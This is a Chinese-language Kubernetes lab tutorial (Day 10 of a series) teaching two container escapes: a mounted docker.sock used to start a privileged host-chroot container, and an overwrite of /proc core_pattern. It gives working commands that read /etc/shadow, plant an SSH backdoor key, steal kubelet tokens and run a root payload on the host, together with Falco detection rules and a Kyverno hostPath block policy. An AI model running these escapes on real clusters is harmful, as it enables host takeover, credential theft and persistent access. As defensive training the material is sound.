
T1611 Escape to Host 持續——今天兩種逃逸都利用 Volume 掛載打開通往宿主機的通道。
| 場景 | 逃逸手法 | 前提條件 | 風險等級 | 攻擊難度 |
|---|---|---|---|---|
| S15 | Docker.sock 掛載 | hostPath mount docker.sock | 極高 | 低 |
| S16 | /proc core_pattern | privileged + hostPath mount /proc | 極高 | 中 |
與 Day 8–9 的三種逃逸不同,今天的兩種手法重點在 hostPath Volume 掛載。S15 甚至不需要 privileged: true——只要掛載了 docker.sock,就等同拿到了宿主機 root。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pod -n koad escape-docker-sock escape-proc-corepattern
預期結果:
NAME READY STATUS RESTARTS AGE
escape-docker-sock 1/1 Running 0 ...
escape-proc-corepattern 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/privilege-escalation/S15-dind-escape.yaml kubectl apply -f scenarios/privilege-escalation/S16-proc-escape.yaml kubectl wait --for=condition=Ready pod/escape-docker-sock pod/escape-proc-corepattern -n koad --timeout=60s
建議另開一個終端視窗,保持 Falco 日誌持續輸出:
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|docker.sock\|core_pattern\|mount"
在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。
完成本日實作後,你將能夠:
Docker daemon 透過 Unix Socket(/var/run/docker.sock)接受指令。如果一個 Pod 掛載了宿主機的 docker.sock,容器內就能直接操作宿主機的 Docker daemon——等同取得宿主機 root 權限。
docker.sock 是 Docker Engine API 的入口。透過它可以執行的操作包括:
| API 端點 | 功能 | 攻擊者用途 |
|---|---|---|
GET /containers/json |
列出所有容器 | 偵察同節點容器 |
POST /containers/create |
建立容器 | 建立特權容器 |
POST /containers/{id}/start |
啟動容器 | 啟動攻擊容器 |
GET /images/json |
列出映像 | 找可利用的映像 |
POST /images/create |
拉取映像 | 拉取攻擊工具 |
GET /info |
系統資訊 | 取得宿主機 OS、核心版本 |
POST /exec/{id}/start |
在容器中執行 | 注入指令到其他容器 |
即使不用 Docker CLI,用 curl 就能直接操作:
# 不需要 docker CLI,用 curl 操作 Docker API
$ curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'
["/k8s_etcd_etcd-minikube_kube-system_..."]
["/k8s_kube-apiserver_kube-apiserver-minikube_..."]

apiVersion: v1
kind: Pod
metadata:
name: escape-docker-sock
namespace: koad
labels:
koad-scenario: S15
mitre-attck: T1611
escape-method: docker-sock
spec:
containers:
- name: attacker
image: docker:24-cli # ← 包含 docker CLI
command: ["sh", "-c", "sleep infinity"]
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock # ← 掛載 Docker socket
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
type: Socket
關鍵:hostPath Volume 把宿主機的 /var/run/docker.sock 掛進容器。注意這個 Pod 不需要 privileged: true——光是 docker.sock 就夠了。
image: docker:24-cli # 刻意選用內建 Docker CLI 的映像
# 攻擊者可直接操作 Docker daemon
volumeMounts:
- mountPath: /var/run/docker.sock # 將宿主機 Docker socket 掛進容器
volumes:
- hostPath:
path: /var/run/docker.sock # Unix socket = Docker Engine API 入口
type: Socket # 限定只掛載 socket 類型的檔案
此場景刻意不設 privileged: true,展示 hostPath 掛載 docker.sock 本身就等同 root 權限。映像選用 docker:24-cli 模擬 CI/CD runner 環境中常見的 DinD(Docker-in-Docker)配置。type: Socket 在生產中有時被視為「只掛載一個檔案,應該安全」的錯誤認知。
S15 模擬 CI/CD Pipeline 中最常見的安全反模式:掛載 docker.sock 來建構映像。GitLab CI、Jenkins、Drone 等工具的文件中經常出現此配置,開發者認為「只是建構映像」而忽略了 docker.sock 等同 root 的事實。Tesla(2018)和 Graboid 蠕蟲(2019)都利用了暴露的 Docker API。此場景讓學員理解:即使沒有 privileged: true,一個 hostPath Volume 就能完成逃逸,並學習 Kaniko、Buildah 等安全替代方案。
踩坑提醒:如果你的叢集使用 containerd 而非 Docker 作為 CRI,
/var/run/docker.sock不存在。containerd 的 socket 在/run/containerd/containerd.sock,但 API 不同。此場景假設使用 Docker(Minikube Docker driver 預設有 docker.sock)。
# 主機終端
kubectl exec -it -n koad escape-docker-sock -- sh
預期結果:
/ #
成功進入容器。此映像使用
docker:24-cli,已內建 Docker CLI 工具,可直接操作掛載的 Docker socket。
以下步驟 2–4 都在容器內(
escape-docker-sock)執行。

# 容器內 (escape-docker-sock)
docker -H unix:///var/run/docker.sock ps
預期結果:
CONTAINER ID IMAGE COMMAND ...
a1b2c3d4e5f6 nginx:latest ...
f5e4d3c2b1a0 ubuntu:22.04 ...
能列出容器代表 Docker daemon 已回應請求——你現在擁有與宿主機 root 等同的 Docker 操作權限,可以建立、刪除、進入任何容器。

docker -H unix:///var/run/docker.sock ps -a | wc -l
預期結果:
42
你現在看到的是節點上的全部容器——包括 kube-system 的系統容器。

docker -H unix:///var/run/docker.sock info | head -10
預期結果:
Client: Docker Engine - Community
Version: 24.0.7
Server:
Containers: 42
Running: 38
Operating System: Ubuntu 22.04.3 LTS
Kernel Version: 5.15.0-91-generic
這是宿主機的 Docker daemon 資訊,包含 OS 版本和核心版本——攻擊者可以用這些資訊判斷是否有已知核心 CVE 可利用。

這是最關鍵的一步——建立一個掛載宿主機 / 的容器:
# 容器內 → 建立新特權容器逃逸到宿主機
docker -H unix:///var/run/docker.sock run -it \
--privileged \
--pid=host \
--net=host \
-v /:/host \
ubuntu chroot /host
預期結果:
root@minikube:/#
prompt 從容器的 hostname 變成
root@minikube,表示已 chroot 進宿主機的根檔案系統——現在執行的所有指令都直接在 Node 上以 root 身份運行。
Falco 觀察:存取 Docker socket 時,Falco 監控視窗會出現 Critical 告警:
[CRITICAL] KOAD S15 Docker Socket Access (pod=escape-docker-sock command=docker run ...)
驗證已取得宿主機控制權:
cat /etc/hostname
預期結果:
minikube
回傳
minikube而非容器名稱,確認 chroot 成功——你正在讀取宿主機的/etc/hostname。
cat /etc/shadow | head -3
預期結果:
root:*:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
能讀取
/etc/shadow代表完全取得宿主機 root 權限——這個檔案只有 root 能讀,包含所有使用者的密碼雜湊。

讀取宿主機 /etc/shadow:
docker -H unix:///var/run/docker.sock run --rm \
-v /:/host \
ubuntu cat /host/etc/shadow
預期結果:
root:*:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
...
非互動模式也能讀取宿主機敏感檔案,適合自動化攻擊腳本——不需要 chroot 互動 shell 就能一次性偷取資料。
寫入 SSH key 實作持久後門:
docker -H unix:///var/run/docker.sock run --rm \
-v /root/.ssh:/host_ssh \
ubuntu sh -c 'echo "ssh-rsa AAAA..." >> /host_ssh/authorized_keys'
預期結果:
(無輸出表示成功)
SSH 公鑰已寫入宿主機的
authorized_keys,攻擊者現在可以從外部直接 SSH 登入 Node——即使 Pod 被刪除,後門仍然存在。
讀取 kubelet token:
docker -H unix:///var/run/docker.sock run --rm \
-v /var/lib/kubelet:/kubelet:ro \
ubuntu find /kubelet/pods -name token -exec cat {} \;
預期結果:
eyJhbGciOiJSUzI1NiIsImtpZCI6Ii...(SA Token 內容)
取得 kubelet 管理的 Pod SA Token,攻擊者可以用這些 Token 冒充任何 Pod 的 ServiceAccount 存取 API Server——橫向移動的關鍵跳板。

Docker-in-Docker(DinD)是 CI/CD 中常見的模式。Jenkins、GitLab CI 等工具經常掛載 docker.sock 來讓 Pipeline 能建構映像:
# 常見的 CI/CD 配置——這就是攻擊面
# GitLab CI runner 的常見設定
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
# Jenkins Kubernetes Plugin
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
如果 CI/CD Pod 被入侵(例如透過惡意的 Pipeline 腳本、供應鏈攻擊、或 SSRF),攻擊者就能透過 docker.sock 逃逸到節點。

| 方案 | 說明 | 需要 docker.sock | 需要特權 | 安全性 |
|---|---|---|---|---|
| Kaniko | Google 的無 daemon 映像建構工具 | 否 | 否 | 高 |
| Buildah | Red Hat 的無 root 建構工具 | 否 | 否 | 高 |
| Docker-in-Docker(真正的 DinD) | 容器內跑獨立 Docker daemon | 否 | 是 | 中 |
| Buildkit | Docker 官方的新建構引擎 | 否 | 部分 | 高 |
| 掛載 docker.sock | 共用宿主機 Docker daemon | 是 | 否 | 低 |
# Kaniko:安全的映像建構
apiVersion: v1
kind: Pod
metadata:
name: kaniko-build
spec:
containers:
- name: kaniko
image: gcr.io/kaniko-project/executor:latest
args:
- "--dockerfile=Dockerfile"
- "--context=git://github.com/org/repo.git"
- "--destination=registry.example.com/app:latest"
# 不需要 docker.sock
# 不需要 privileged
# 在 user space 建構映像
- rule: KOAD S15 Docker Socket Access
desc: Detect access to Docker socket from container
condition: >
(open_read or open_write or connect) and container and
(fd.name = /var/run/docker.sock or
fd.name = /run/docker.sock)
output: >
Docker socket accessed from container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline fd=%fd.name)
priority: CRITICAL
tags: [KOAD, T1611, container-escape]
Falco 規則偵測對 /var/run/docker.sock 的 open、read、write 或 connect 系統呼叫。
Linux 的 /proc/sys/kernel/core_pattern 定義了程式 crash 時 core dump 的處理方式。如果設定以 | 開頭,核心會把 core dump 通過 pipe 傳給指定的程式執行。
正常的 core_pattern:
core_pattern = core → 產生 core 檔案
core_pattern = core.%p.%t → 帶 PID 和時間戳的 core 檔案
管道模式(攻擊利用的模式):
core_pattern = |/path/to/handler → 程式 crash 時執行 handler
核心處理流程:
1. 程式收到 SIGSEGV(segfault)
2. 核心讀取 core_pattern
3. 看到 | 開頭 → 管道模式
4. 以 root 身份在宿主機 namespace 中執行 handler
5. 將 core dump 資料通過 stdin 傳給 handler
攻擊流程:

apiVersion: v1
kind: Pod
metadata:
name: escape-proc-corepattern
namespace: koad
labels:
koad-scenario: S16
mitre-attck: T1611
escape-method: proc-core-pattern
spec:
containers:
- name: attacker
image: ubuntu:22.04
command: ["sh", "-c", "sleep infinity"]
securityContext:
privileged: true # ← 需要特權才能寫 /proc/sys
volumeMounts:
- name: host-proc
mountPath: /host_proc # ← 掛載宿主機的 /proc
volumes:
- name: host-proc
hostPath:
path: /proc # ← 掛載宿主機的 /proc
S16 需要兩個條件:
privileged: true(才能寫入 /proc/sys/kernel/core_pattern)hostPath 掛載 /proc(才能存取宿主機的 /proc)securityContext:
privileged: true # 允許寫入 /proc/sys/kernel/* 核心參數
volumeMounts:
- mountPath: /host_proc # 掛載到非標準路徑,避免與容器自身 /proc 衝突
volumes:
- hostPath:
path: /proc # 宿主機核心的虛擬檔案系統
# 包含 core_pattern、sysrq-trigger、modprobe 等可寫入的控制介面
此場景結合兩個前提條件:privileged 提供寫入 /proc/sys 的權限,hostPath 掛載 /proc 提供存取路徑。掛載點選用 /host_proc 而非覆蓋 /proc,因為容器自身的 /proc 仍需正常運作。這展示了 hostPath + privileged 組合的加乘危害。
S16 展示了另一類不依賴磁碟裝置的逃逸路徑:透過核心提供的 /proc 介面在宿主機執行指令。core_pattern 管道模式是 Linux 核心的正常功能,難以透過 seccomp 完全阻擋。此場景讓學員理解 /proc 不只是「唯讀的系統資訊」,而是包含多個可寫入的核心控制介面(core_pattern、sysrq-trigger、modprobe)。防禦重點不是禁止寫入某個特定檔案,而是從根本上避免 hostPath 掛載 /proc。
# 主機終端
kubectl exec -it -n koad escape-proc-corepattern -- bash
預期結果:
root@escape-proc-corepattern:/#
以 root 身份進入特權容器,具備完整 capabilities(包括
CAP_SYS_ADMIN),可以寫入/proc/sys下的核心參數。
以下步驟 2–8 都在容器內(
escape-proc-corepattern)執行。

# 容器內 (escape-proc-corepattern)
cat /host_proc/sys/kernel/core_pattern
預期結果:
core
預設值是
core,表示還沒被修改過。

UPPERDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo $UPPERDIR
預期結果:
/var/lib/docker/overlay2/abc123.../diff
這是容器 overlay filesystem 在宿主機上的實際路徑——容器內寫入的檔案會出現在這個目錄,核心也能透過此路徑存取它們。

寫入容器的檔案系統 = 寫入宿主機的 overlay:
cat > /tmp/payload.sh << 'PAYLOAD'
#!/bin/bash
id > /tmp/koad-pwned
hostname >> /tmp/koad-pwned
date >> /tmp/koad-pwned
cat /etc/shadow >> /tmp/koad-pwned
PAYLOAD
chmod +x /tmp/payload.sh
預期結果:
(無輸出表示成功)
payload 已寫入容器的
/tmp目錄,但因為 overlay filesystem 的特性,宿主機可以透過$UPPERDIR/tmp/payload.sh路徑存取這個檔案。

echo "|$UPPERDIR/tmp/payload.sh" > /host_proc/sys/kernel/core_pattern
預期結果:
(無輸出表示成功)
core_pattern已被覆寫為管道模式,指向攻擊者的 payload 腳本——下次任何程式 crash 時,核心會以 root 權限執行這個腳本。
Falco 觀察:修改 core_pattern 時,Falco 監控視窗應該出現 Critical 告警:
[CRITICAL] KOAD S16 Core Pattern Modified (pod=escape-proc-corepattern command=...)
cat /host_proc/sys/kernel/core_pattern
預期結果:
|/var/lib/docker/overlay2/abc123.../diff/tmp/payload.sh
開頭的
|表示管道模式已生效——核心會把 core dump 通過 pipe 傳給這個路徑的腳本,而非寫入 core 檔案。

python3 -c 'import ctypes; ctypes.string_at(0)'
預期結果:
Segmentation fault (core dumped)
core dumped表示核心已處理這個 crash——因為 core_pattern 被設為管道模式,核心會在宿主機上以 root 執行payload.sh,完成逃逸。

sleep 2
核心會以 root 權限在宿主機上執行 payload.sh。需要透過 nsenter 或另一個 Pod 掛載
/tmp來確認結果。

踩坑提醒:觸發 segfault 的方式有很多。
python3 -c 'import ctypes; ctypes.string_at(0)'在某些映像中可能沒有 python3。替代方案:
kill -SIGSEGV $$(直接對自己發 SIGSEGV)- 編譯一個 C 程式:
echo 'int main(){*(int*)0=0;}' > /tmp/seg.c && gcc /tmp/seg.c -o /tmp/seg && /tmp/segsleep 99999 &; kill -SEGV $!(對背景 process 發 SIGSEGV)
/proc 是 Linux 核心的虛擬檔案系統,包含了整個系統的狀態資訊。掛載宿主機的 /proc 到容器裡,等於把核心的控制介面交給了容器內的使用者。
可以透過 /proc 存取的危險檔案:
| 路徑 | 功能 | 風險 |
|---|---|---|
/proc/sys/kernel/core_pattern |
Core dump 處理程式 | 任意指令執行(S16) |
/proc/sysrq-trigger |
核心 SysRq 指令 | 重啟、強制關機、OOM kill |
/proc/sys/kernel/modprobe |
模組載入程式路徑 | 載入惡意核心模組 |
/proc/kcore |
核心記憶體映射 | 讀取記憶體中的密碼、加密金鑰 |
/proc/sys/vm/panic_on_oom |
OOM 行為 | 可以讓系統 panic |
/proc/sys/kernel/hostname |
主機名稱 | 資訊洩漏 |
除了 core_pattern,/proc/sys/kernel/modprobe 也可以被用來逃逸:
# modprobe_path 攻擊(概念,需要特定條件)
# 當核心需要載入模組時,會執行 modprobe_path 指定的程式
$ echo "$UPPERDIR/evil_modprobe.sh" > /host_proc/sys/kernel/modprobe
# 觸發模組載入(例如存取一個不認識的 binary format)
$ echo -ne '\x00\x00\x00\x00' > /tmp/trigger
$ chmod +x /tmp/trigger
$ /tmp/trigger # → 核心嘗試載入 binfmt handler → 執行 evil_modprobe.sh
- rule: KOAD S16 Core Pattern Modified
desc: Detect modification of core_pattern (container escape)
condition: >
open_write and container and
fd.name = /proc/sys/kernel/core_pattern
output: >
Core pattern modified in container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, container-escape]
同時偵測 modprobe_path 修改:
- rule: KOAD Kernel Modprobe Path Modified
desc: Detect modification of modprobe path
condition: >
open_write and container and
fd.name = /proc/sys/kernel/modprobe
output: >
Kernel modprobe path modified
(container=%container.name pod=%k8s.pod.name
command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, container-escape]
| 項目 | S15 Docker.sock | S16 /proc core_pattern |
|---|---|---|
| 前提 | hostPath Volume | hostPath Volume + privileged |
| 需要 privileged | 否 | 是 |
| 利用的物件 | Docker daemon socket | Linux 核心設定檔 |
| 逃逸方式 | 建立新特權容器 | 改寫核心處理程式 |
| 根因 | 不當的 Volume 掛載 | 不當的 Volume 掛載 + 特權 |
| 隱蔽性 | 低(新容器明顯) | 中(利用合法核心機制) |
| 偵測 | Falco socket access | Falco /proc write |
| 防禦 | 禁止 hostPath | 禁止 hostPath + 禁止 privileged |
共通的防禦:禁止 hostPath Volume。 Kyverno 的 koad-block-hostpath 策略可以攔截所有嘗試掛載 hostPath 的 Pod。
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: koad-block-hostpath
spec:
validationFailureAction: Audit
rules:
- name: deny-hostpath
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "hostPath volumes are not allowed"
pattern:
spec:
=(volumes):
- X(hostPath): "null"
| KOAD | K8s Goat | 說明 |
|---|---|---|
| S15 | Scenario 2 | Docker.sock mount exploitation |
| S16 | — | K8s Goat 未包含 core_pattern 逃逸 |
K8s Goat 的 Scenario 2 也是 docker.sock 逃逸,但 KOAD 增加了 Falco 偵測規則和 Kyverno 策略的防禦對照。
| 考點 | 本日內容 | 權重 |
|---|---|---|
| hostPath 風險 | S15, S16 都利用 hostPath Volume | System Hardening 10% |
| 容器安全配置 | privileged=false, readOnlyRootFilesystem | Minimize Microservice 20% |
| CI/CD 安全 | Docker.sock 替代方案(Kaniko/Buildah) | Supply Chain 20% |
題目:審計叢集中所有使用 hostPath Volume 的 Pod,並建立 Kyverno 策略阻擋新的 hostPath Pod。
# Step 1:找出所有使用 hostPath 的 Pod
kubectl get pods -A -o json | \
jq -r '.items[] | select(
.spec.volumes[]? | has("hostPath")
) | [.metadata.namespace, .metadata.name,
(.spec.volumes[] | select(has("hostPath")) | .hostPath.path)] | @tsv'
# 預期輸出:
# kube-system kube-proxy-xxx /lib/modules
# calico-system calico-node-xxx /opt/cni/bin
# koad escape-docker-sock /var/run/docker.sock
# Step 2:套用 Kyverno 策略(先 Audit)
kubectl apply -f koad-block-hostpath.yaml
# Step 3:驗證策略
kubectl run test --image=busybox -n default \
--overrides='{"spec":{"volumes":[{"name":"v","hostPath":{"path":"/"}}],
"containers":[{"name":"t","image":"busybox","volumeMounts":
[{"name":"v","mountPath":"/host"}]}]}}'
# Audit mode: Pod created but violation logged
# Enforce mode: Error from server
完成攻擊演練後,清理環境:
# →如果還在 docker.sock 建立的 chroot 容器中
exit # 離開 chroot 容器
# escape-docker-sock 容器內:清理建立的容器
docker -H unix:///var/run/docker.sock ps -a --filter "ancestor=ubuntu" -q | \
xargs docker -H unix:///var/run/docker.sock rm -f 2>/dev/null
exit # 離開容器
# escape-proc-corepattern 容器內:還原 core_pattern
echo "core" > /host_proc/sys/kernel/core_pattern
exit # 離開容器
如果需要完全重設 Pod 環境:
# 主機終端 kubectl delete pod -n koad escape-docker-sock escape-proc-corepattern kubectl apply -f scenarios/privilege-escalation/S15-dind-escape.yaml kubectl apply -f scenarios/privilege-escalation/S16-proc-escape.yaml
重要:務必還原
core_pattern。如果遺留 payload 路徑,宿主機上任何程式 crash 都會嘗試執行該腳本。
| 面向 | KOAD 靶場 | 真實生產環境 |
|---|---|---|
| /proc 掛載 | 容器可直接存取 Host /proc | 生產環境可能有 AppArmor/SELinux 限制 /proc 存取 |
| Seccomp Profile | 通常未啟用 | 生產環境的 Container Runtime 可能有預設 Seccomp Profile |
| Node 隔離 | 攻擊者逃逸後就在 Minikube Node 上 | 生產環境逃逸後仍在 VM/實體機上,可能還有主機層防護 |
/proc 逃逸在 KOAD 中很直觀,但真實環境中 Container Runtime 的安全設定會顯著影響可行性。
/ 的特權容器,chroot 取得 root(S15)core_pattern 為管道模式,觸發 segfault 完成逃逸/ 的特權容器privileged: true 也能逃逸明天 Day 11 是逃逸系列的最後一篇——SYS_PTRACE + HostPID process 注入,以及 Dirty Pipe 核心 CVE 提權。